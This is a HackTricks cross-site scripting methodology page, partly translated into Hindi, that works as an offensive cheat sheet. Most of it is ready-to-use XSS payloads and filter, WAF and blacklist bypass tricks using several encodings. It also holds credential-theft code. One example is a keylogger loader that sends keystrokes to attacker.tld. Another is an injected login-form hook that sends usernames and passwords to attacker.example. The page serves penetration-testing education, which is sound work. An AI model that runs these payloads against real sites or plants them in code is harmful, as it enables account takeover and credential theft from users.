XSS (Cross Site Scripting)

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

कार्यप्रणाली

  1. जाँचें कि क्या आपके नियंत्रण में कोई भी मान (parameters, path, headers?, cookies?) HTML में प्रतिबिंबित हो रहा है या JS code द्वारा use किया जा रहा है।
  2. जहाँ यह प्रतिबिंबित/उपयोग हो रहा है, उस संदर्भ को ढूँढें।
  3. यदि reflected
  4. जाँचें किन प्रतीकों का आप उपयोग कर सकते हैं और उसके अनुसार payload तैयार करें:
  5. कच्चे HTML में:
  6. क्या आप नए HTML टैग बना सकते हैं?
  7. क्या आप javascript: प्रोटोकॉल को सपोर्ट करने वाले इवेंट्स या attributes का उपयोग कर सकते हैं?
  8. क्या आप सुरक्षा प्रतिबंधों को bypass कर सकते हैं?
  9. क्या HTML सामग्री किसी client side JS engine (AngularJS, VueJS, Mavo…) द्वारा interpret हो रही है, जिसे आप Client Side Template Injection का दुरुपयोग कर सकते हैं।
  10. यदि आप ऐसे HTML टैग नहीं बना सकते जो JS को execute करें, क्या आप Dangling Markup - HTML scriptless injection का दुरुपयोग कर सकते हैं?
  11. एक HTML टैग के अंदर:
  12. क्या आप attribute से बाहर निकलकर raw HTML संदर्भ में जा सकते हैं?
  13. क्या आप JS को execute करने के लिए नए events/attributes बना सकते हैं?
  14. क्या जिस attribute में आप फँसे हैं वह JS execution को सपोर्ट करता है?
  15. क्या आप सुरक्षा प्रतिबंधों को bypass कर सकते हैं?
  16. JavaScript code के अंदर:
  17. क्या आप <script> टैग से बाहर निकल सकते हैं?
  18. क्या आप string को escape करके अलग JS code execute कर सकते हैं?
  19. क्या आपका इनपुट template literals `` में है?
  20. क्या आप सुरक्षा प्रतिबंधों को bypass कर सकते हैं?
  21. Javascript function का execute होना
  22. आप जिस function का नाम execute करना चाहते हैं, उसे संकेत कर सकते हैं। उदाहरण: ?callback=alert(1)
  23. यदि used:
  24. आप एक DOM XSS का दुरुपयोग कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित होता है और क्या आपका конт्रोल किया गया इनपुट किसी sink द्वारा उपयोग हो रहा है।

जब आप किसी जटिल XSS पर काम कर रहे हों तो निम्न बातें जानना उपयोगी हो सकती हैं:

Debugging Client Side JS

Reflected values

एक सफल XSS exploit करने के लिए सबसे पहले आपको वह मान ढूँढना होगा जिसे आप नियंत्रित करते हों और जो वेब पेज में प्रतिबिंबित हो रहा हो।

  • Intermediately reflected: यदि आप पाते हैं कि किसी parameter या path का मान वेब पेज में प्रतिबिंबित हो रहा है तो आप Reflected XSS का दुरुपयोग कर सकते हैं।
  • Stored and reflected: यदि कोई मान जिसे आप नियंत्रित करते हैं सर्वर पर सेव होता है और हर बार पेज एक्सेस करने पर प्रतिबिंबित होता है तो आप Stored XSS का दुरुपयोग कर सकते हैं।
  • Accessed via JS: यदि कोई मान जिसे आप नियंत्रित करते हैं JS द्वारा access किया जा रहा है तो आप DOM XSS का दुरुपयोग कर सकते हैं।

Contexts

XSS exploit करने की कोशिश करते समय सबसे पहले यह जानना जरूरी है कि आपका इनपुट कहाँ प्रतिबिंबित हो रहा है। संदर्भ पर निर्भर करते हुए, आप विभिन्न तरीकों से arbitrary JS को execute कर पाएंगे।

Raw HTML

यदि आपका इनपुट raw HTML पेज पर प्रतिबिंबित होता है तो आपको JS code execute करने के लिए कुछ HTML tag का दुरुपयोग करना होगा: <img , <iframe , <svg , <script … ये कुछ ही संभावित HTML टैग्स में से हैं जिनका आप उपयोग कर सकते हैं।
साथ ही ध्यान रखें Client Side Template Injection

Inside HTML tags attribute

यदि आपका इनपुट किसी टैग के attribute के value के अंदर प्रतिबिंबित होता है तो आप प्रयास कर सकते हैं:

  1. attribute और tag दोनों से बाहर निकलने का (escape) प्रयास करें (तब आप raw HTML में होंगे) और नया HTML टैग बना कर दुरुपयोग करें: "><img [...]
  2. यदि आप attribute से बाहर निकल सकते हैं पर टैग से नहीं (> encode किया गया है या delete कर दिया गया है), तो टैग के प्रकार के आधार पर आप ऐसा event बना सकते हैं जो JS execute करे: " autofocus onfocus=alert(1) x="
  3. यदि आप attribute से बाहर नहीं निकल सकते (" encode या delete किया जा रहा है), तो यह निर्भर करेगा कि आप किस attribute में प्रतिबिंबित हैं और क्या आप पूरे value को नियंत्रित करते हैं या केवल उसका एक हिस्सा। उदाहरण के लिए, यदि आप onclick= जैसे event को नियंत्रित करते हैं तो आप क्लिक होने पर arbitrary code execute करा सकते हैं। एक और रोचक उदाहरण है attribute href, जहाँ आप javascript: protocol का उपयोग करके arbitrary code चला सकते हैं: href="javascript:alert(1)"
  4. यदि आपका इनपुट “unexpoitable tags” के भीतर प्रतिबिंबित होता है तो आप vuln का दुरुपयोग करने के लिए accesskey ट्रिक आज़मा सकते हैं (इसे exploit करने के लिए आपको कुछ social engineering करनी पड़ेगी): " accesskey="x" onclick="alert(1)" x="

Attribute-only login XSS behind WAFs

एक corporate SSO login पेज ने OAuth service parameter को <a id="forgot_btn" ...> के href attribute के अंदर प्रतिबिंबित किया। यद्यपि < और > HTML-encoded थे, double quotes encode नहीं थे, इसलिए attacker attribute को बंद कर सकता था और उसी element का reuse कर के handlers inject कर सकता था जैसे " onfocus="payload" x=".

  1. Handler inject करना: सरल payloads जैसे onclick="print(1)" blocked थे, पर WAF ने inline attributes में केवल पहले JavaScript statement का निरीक्षण किया। एक harmless expression को parentheses में पैक कर के और फिर semicolon जोड़ने से असली payload execute हो गया: onfocus="(history.length);malicious_code_here".
  2. Auto-trigger करना: Browsers किसी भी element को focus करते हैं जिसका id fragment से मेल खाता है, इसलिए exploit URL में #forgot_btn जोड़ने से anchor page load पर focus कर लेता है और बिना क्लिक के handler चल जाता है।
  3. Inline stub छोटा रखें: लक्ष्य पहले से jQuery shipped कर रहा था। handler को केवल $.getScript(...) के जरिए एक request bootstrap करने की जरूरत थी जबकि पूरा keylogger attacker के server पर रखा गया था।

Building strings without quotes

Single quotes URL-encoded लौटाए जा रहे थे और escaped double quotes attribute को corrupted कर रहे थे, इसलिए payload हर string को String.fromCharCode से जनरेट करता था। किसी भी URL को char codes में बदलने के लिए एक helper function इसे attribute में paste करने से पहले आसान बनाता है:

function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))

परिणामी attribute इस तरह दिखता था:

onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"

यह क्रेडेंशियल्स क्यों चुराता है

बाहरी स्क्रिप्ट (loaded from an attacker-controlled host or Burp Collaborator) ने document.onkeypress को hook किया, keystrokes को buffer किया, और हर सेकंड new Image().src = collaborator_url + keys जारी किया। क्योंकि XSS केवल unauthenticated users के लिए फायर होती है, संवेदनशील कार्रवाई लॉगिन फॉर्म ही है — attacker keylogs usernames and passwords भले ही victim कभी “Login” न दबाए।

Angular द्वारा class name को control करने पर XSS execute करने का अजीब उदाहरण:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Inside JavaScript code

In this case your input is reflected between <script> [...] </script> tags of a HTML page, inside a .js file or inside an attribute using javascript: protocol:

  • यदि यह <script> [...] </script> टैग्स के बीच परावर्तित होता है, तो भले ही आपका इनपुट किसी भी प्रकार के quotes के भीतर हो, आप </script> इंजेक्ट करके इस context से बाहर निकलने की कोशिश कर सकते हैं। यह इसलिए काम करता है क्योंकि browser पहले HTML टैग्स को parse करेगा और फिर content को, इसलिए यह नोटिस नहीं करेगा कि आपका इंजेक्ट किया हुआ </script> टैग HTML कोड के अंदर है।
  • यदि यह inside a JS string परावर्तित होता है और पिछला ट्रिक काम नहीं कर रहा है, तो आपको string से exit करना होगा, अपना कोड execute करना होगा और JS कोड को reconstruct करना होगा (यदि कोई error होगा तो यह execute नहीं होगा):
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • यदि यह template literals के अंदर परावर्तित होता है तो आप ${ ... } सिंटैक्स का उपयोग करके JS expressions embed कर सकते हैं: var greetings = `Hello, ${alert(1)}`
  • Unicode encode का उपयोग करके आप valid javascript code लिख सकते हैं:
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting उन परिस्थितियों को संदर्भित करता है जहाँ आप उपयोग के बाद functions, variables या classes घोषित कर सकते हैं ताकि आप उन परिदृश्यों का दुरुपयोग कर सकें जहाँ एक XSS undeclared variables या functions का उपयोग कर रहा हो.
अधिक जानकारी के लिए निम्न पृष्ठ देखें:

JS Hoisting

Javascript Function

कई वेब पेजों में ऐसे endpoints होते हैं जो execute करने के लिए function का नाम parameter के रूप में accept करते हैं। एक सामान्य उदाहरण अक्सर यह होता है: ?callback=callbackFunc.

यह पता लगाने का एक अच्छा तरीका कि user द्वारा directly दिया गया कुछ execute होने की कोशिश कर रहा है या नहीं, वह है modifying the param value (उदाहरण के लिए ‘Vulnerable’) और console में ऐसे errors देखें जैसे:

यदि यह vulnerable है, तो आप केवल value भेजकर trigger an alert कर सकते हैं: ?callback=alert(1)। हालांकि, अक्सर ऐसे endpoints content को validate करते हैं ताकि केवल letters, numbers, dots और underscores ही allow हों ([\w\._]).

हालाँकि, उस limitation के साथ भी कुछ actions करना संभव है। ऐसा इसलिए है क्योंकि आप उन valid chars का उपयोग करके access any element in the DOM कर सकते हैं:

Some useful functions for this:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

आप सीधे Javascript functions को ट्रिगर करने का भी प्रयास कर सकते हैं: obj.sales.delOrders.

हालाँकि, आमतौर पर जिन endpoints पर संकेतित function execute होता है वे ऐसे endpoints होते हैं जिनका बहुत रोचक DOM नहीं होता, same origin के अन्य पृष्ठों में अधिक कार्रवाइयों के लिए एक अधिक रोचक DOM मिलता है।

इसलिए, किसी अलग DOM में इस vulnerability का दुरुपयोग करने के लिए Same Origin Method Execution (SOME) exploit विकसित किया गया:

SOME - Same Origin Method Execution

DOM

ऐसी JS code मौजूद है जो हमले करने वाले द्वारा नियंत्रित कुछ data (जैसे location.href) को unsafe तरीके से इस्तेमाल कर रही है। एक attacker इसका दुरुपयोग करके arbitrary JS code execute कर सकता है।

DOM XSS

Universal XSS

ये प्रकार के XSS कहीं भी पाए जा सकते हैं। ये केवल किसी वेब एप्लिकेशन के client exploitation पर निर्भर नहीं करते बल्कि किसी भी context पर निर्भर कर सकते हैं। ये प्रकार की arbitrary JavaScript execution का उपयोग करके RCE प्राप्त करने, clients और servers में arbitrary files पढ़ने आदि के लिए भी किया जा सकता है।
कुछ उदाहरण:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injecting inside raw HTML

जब आपका input HTML page के अंदर reflect होता है या आप इस context में escape करके HTML code inject कर सकते हैं, तो सबसे पहले यह जाँचना चाहिए कि क्या आप नए टैग बनाने के लिए < का दुरुपयोग कर सकते हैं: बस उस char को reflect करने की कोशिश करें और जाँचें कि क्या वह HTML encoded हो रहा है, deleted किया जा रहा है या बिना किसी परिवर्तन के reflected हो रहा है। केवल अंतिम स्थिति में आप इस मामले का exploit कर पाएँगे
इन मामलों में Client Side Template Injection को भी ध्यान में रखें
Note: A HTML comment can be closed using --> or --!>

इस मामले में और यदि कोई black/whitelisting उपयोग में नहीं है, तो आप निम्न payloads का उपयोग कर सकते हैं:

<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

But, if tags/attributes black/whitelisting is being used, you will need to brute-force which tags you can create.
Once you have located which tags are allowed, you would need to brute-force attributes/events inside the found valid tags to see how you can attack the context.

Tags/Events brute-force

Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn’t discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).

Custom tags

If you didn’t find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus attribute. In the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

यदि किसी प्रकार की blacklist उपयोग की जा रही है तो आप कुछ साधारण तरकीबों से इसे bypass करने की कोशिश कर सकते हैं:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (small XSSs)

[!NOTE] > अधिक tiny XSS विभिन्न वातावरणों के लिए payload can be found here और here.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

अंतिम वाला 2 unicode characters का उपयोग कर रहा है जो 5 में फैलता है: telsr
इन वर्णों के और उदाहरण here.
यह जांचने के लिए कि कौन से characters में decomposed होते हैं देखें here.

Click XSS - Clickjacking

If in order to exploit the vulnerability you need the user to click a link or a form with prepopulated data you could try to abuse Clickjacking (if the page is vulnerable).

Impossible - Dangling Markup

If you just think that it’s impossible to create an HTML tag with an attribute to execute JS code, you should check Danglig Markup because you could exploit the vulnerability without executing JS code.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

If you are in inside a HTML tag, the first thing you could try is to escape from the tag and use some of the techniques mentioned in the previous section to execute JS code.
If you cannot escape from the tag, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (note that in this example double quotes are use to escape from the attribute, you won’t need them if your input is reflected directly inside the tag):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

स्टाइल घटनाएँ

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

एट्रिब्यूट के भीतर

भले ही आप attribute से बाहर पलायन नहीं कर पाते (" को encode या delete किया जा रहा है), यह इस बात पर निर्भर करेगा कि आपकी वैल्यू किस एट्रिब्यूट में reflect हो रही है और क्या आप पूरी वैल्यू को नियंत्रित करते हैं या सिर्फ उसका एक हिस्सा — इन परिस्थितियों में आप इसे abuse कर पाएँगे। उदाहरण के लिए, अगर आप किसी event जैसे onclick= को नियंत्रित करते हैं तो आप उसे क्लिक होने पर arbitrary code execute करवा सकते हैं.
एक और दिलचस्प उदाहरण एट्रिब्यूट href है, जहाँ आप javascript: protocol का उपयोग करके arbitrary code चला सकते हैं: href="javascript:alert(1)"

Bypass inside event using HTML encoding/URL encode

HTML टैग्स के attribute मान के अंदर के HTML encoded characters runtime पर decoded on runtime होते हैं। इसलिए निम्न जैसा payload वैध होगा (payload बोल्ड में है): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

ध्यान दें कि any kind of HTML encode is valid:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

ध्यान दें कि URL encode भी काम करेगा:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass इवेंट के अंदर Unicode encode का उपयोग करके

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

attribute के भीतर विशेष प्रोटोकॉल

आप कुछ जगहों पर प्रोटोकॉल javascript: या data: का उपयोग किसी भी JS कोड को निष्पादित करने के लिए कर सकते हैं। कुछ में उपयोगकर्ता की सहभागिता आवश्यक होगी, कुछ में नहीं।

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

जहाँ आप इन प्रोटोकॉल्स को इन्जेक्ट कर सकते हैं

सामान्यतः javascript: प्रोटोकॉल किसी भी टैग में उपयोग किया जा सकता है जो attribute href स्वीकार करता है और अधिकांश उन टैग्स में जो attribute src स्वीकार करते हैं (परंतु <img> में नहीं)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

अन्य obfuscation tricks

इस मामले में पिछले सेक्शन की HTML encoding और Unicode encoding trick भी वैध है क्योंकि आप एक attribute के अंदर हैं।

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

इसके अलावा, इन मामलों के लिए एक और nice trick है: Even if your input inside javascript:... is being URL encoded, it will be URL decoded before it’s executed. इसलिए, अगर आपको string से escape करने के लिए single quote का इस्तेमाल करना है और आप देखते हैं कि it’s being URL encoded, तो याद रखें कि it doesn’t matter, यह execution के समय interpreted होगा और एक single quote के रूप में लिया जाएगा।

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

ध्यान दें कि यदि आप दोनों का उपयोग URLencode + HTMLencode किसी भी क्रम में करके payload को एन्कोड करने की कोशिश करेंगे तो यह काम नहीं करेगा, लेकिन आप उन्हें payload के अंदर मिश्रित कर सकते हैं

javascript: के साथ Hex और Octal encode का उपयोग

आप iframe के src attribute के अंदर (कम से कम) Hex और Octal encode का उपयोग करके HTML tags to execute JS घोषित कर सकते हैं:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

यदि आप किसी भी URL को किसी arbitrary <a href= टैग में inject कर सकते हैं जो target="_blank" and rel="opener" attributes रखता है, तो इस व्यवहार को exploit करने के लिए निम्नलिखित पृष्ठ देखें:

Reverse Tab Nabbing

on Event Handlers Bypass

सबसे पहले इस पृष्ठ (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) को उपयोगी “on” event handlers के लिए देखें.
यदि कोई blacklist आपको ये even handlers बनाने से रोक रही है तो आप निम्नलिखित bypasses आज़मा सकते हैं:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

here से अब hidden inputs का दुरुपयोग किया जा सकता है:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

और meta tags में:

<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

स्रोत: here:

आप XSS payload inside a hidden attribute चला सकते हैं, बशर्ते आप persuade कर सकें victim को key combination दबाने के लिए। Firefox (Windows/Linux) पर key combination ALT+SHIFT+X है और OS X पर यह CTRL+ALT+X है। आप access key attribute में अलग key इस्तेमाल करके कोई अन्य key combination निर्दिष्ट कर सकते हैं। यहाँ vector है:

<input type="hidden" accesskey="X" onclick="alert(1)">

XSS payload कुछ इस तरह होगा: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

इस सेक्शन में पहले ही अलग-अलग encoding का उपयोग करके कई ट्रिक्स बताये जा चुके हैं। वापस जाकर जानें कि आप कहाँ उपयोग कर सकते हैं:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

पढ़ें the Blacklist Bypasses of the previous section.

Bypasses for JavaScript code

पढ़ें the JavaScript bypass blacklist of the following section.

CSS-Gadgets

यदि आपने वेब के किसी बहुत छोटे हिस्से में XSS पाया है जो किसी प्रकार की इंटरैक्शन मांगता है (शायद फुटर में onmouseover वाले छोटे लिंक की तरह), तो आप उस एलिमेंट के घेरे को बदलकर लिंक के ट्रिगर होने की संभावना बढ़ा सकते हैं।

For example, you could add some styling in the element like: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

लेकिन, यदि WAF style attribute को फ़िल्टर कर रहा है, तो आप CSS Styling Gadgets का उपयोग कर सकते हैं, इसलिए यदि आप पाएँ, उदाहरण के लिए

.test {display:block; color: blue; width: 100%}

and

#someid {top: 0; font-family: Tahoma;}

अब आप हमारे लिंक को बदलकर इसे निम्न रूप में ला सकते हैं

<a href=“” id=someid class=test onclick=alert() a=“”>

यह ट्रिक ली गई थी https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

ऐसे मामलों में आपका input .js फ़ाइल के JS code के अंदर रिफ्लेक्ट होगा या <script>...</script> टैग्स के बीच या उन HTML events के बीच जो JS कोड चला सकते हैं या उन attributes के बीच जो javascript: protocol स्वीकार करते हैं।

Escaping <script> tag

यदि आपका कोड <script> [...] var input = 'reflected data' [...] </script> के अंदर डाला जाता है, तो आप आसानी से <script> टैग के बंद होने से बाहर आ सकते हैं:

</script><img src=1 onerror=alert(document.domain)>

ध्यान दें कि इस उदाहरण में हम haven’t even closed the single quote। यह इसलिए है क्योंकि HTML parsing is performed first by the browser, जो पेज एलिमेंट्स की पहचान करने में शामिल है, जिसमें script ब्लॉक्स भी होते हैं। embedded scripts को समझने और execute करने के लिए JavaScript का parsing बाद में ही किया जाता है।

JS कोड के अंदर

यदि <> sanitised किए जा रहे हैं तो आप फिर भी उस स्थान पर जहाँ आपका इनपुट located है escape the string कर के execute arbitrary JS कर सकते हैं। यह महत्वपूर्ण है कि fix JS syntax, क्योंकि अगर कोई त्रुटियाँ होंगी तो JS code execute नहीं होगा:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

जब user input किसी quoted JavaScript string के अंदर पहुँचता है (उदा., server-side echo into an inline script), आप string को terminate करके code inject कर सकते हैं, और parsing को वैध रखने के लिए syntax repair कर सकते हैं। सामान्य ढाँचा:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

उदाहरण URL पैटर्न जब vulnerable parameter एक JS string में प्रतिबिंबित होता है:

?param=test";<INJECTION>;a="

यह attacker JS को execute करता है बिना HTML context को छुए (pure JS-in-JS)। जब filters keywords को ब्लॉक करते हैं तब नीचे दिए गए blacklist bypasses के साथ मिलाकर इस्तेमाल करें।

Template literals ``

स्ट्रिंग्स बनाने के लिए single और double quotes के अलावा JS भी backticks `` स्वीकार करता है। इसे template literals कहा जाता है क्योंकि ये ${ ... } सिंटैक्स का उपयोग करके embedded JS expressions को एम्बेड करने की अनुमति देते हैं।
इसलिए, अगर आप पाते हैं कि आपका input ऐसे JS string के अंदर reflected हो रहा है जो backticks का उपयोग कर रहा है, तो आप ${ ... } सिंटैक्स का दुरुपयोग करके arbitrary JS code चला सकते हैं:

इसे निम्नलिखित का उपयोग करके abused किया जा सकता है:

;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

एन्कोडेड code निष्पादन

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Deliverable payloads with eval(atob()) and scope nuances

URLs को छोटा रखने और naive keyword filters को बायपास करने के लिए, आप अपनी वास्तविक logic को base64-encode कर सकते हैं और उसे eval(atob('...')) से evaluate कर सकते हैं। अगर simple keyword filtering alert, eval, या atob जैसे identifiers को ब्लॉक कर रहा है, तो Unicode-escaped identifiers का उपयोग करें जो ब्राउज़र में बिल्कुल समान तरीके से compile होते हैं लेकिन string-matching filters से बच जाते हैं:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

महत्वपूर्ण स्कोपिंग सूक्ष्मता: const/let जो eval() के अंदर घोषित होते हैं वे block-scoped हैं और globals नहीं बनाते; वे बाद की scripts से उपलब्ध नहीं होंगे। जरूरत पड़ने पर global, non-rebindable hooks परिभाषित करने के लिए डायनामिक रूप से इंजेक्ट किए गए <script> element का उपयोग करें (उदा., किसी form handler को hijack करने के लिए):

var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

संदर्भ: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode Encode JS execution

alert(1)
alert(1)
alert(1)

JavaScript bypass blacklists तकनीकें

Strings

"thisisastring"
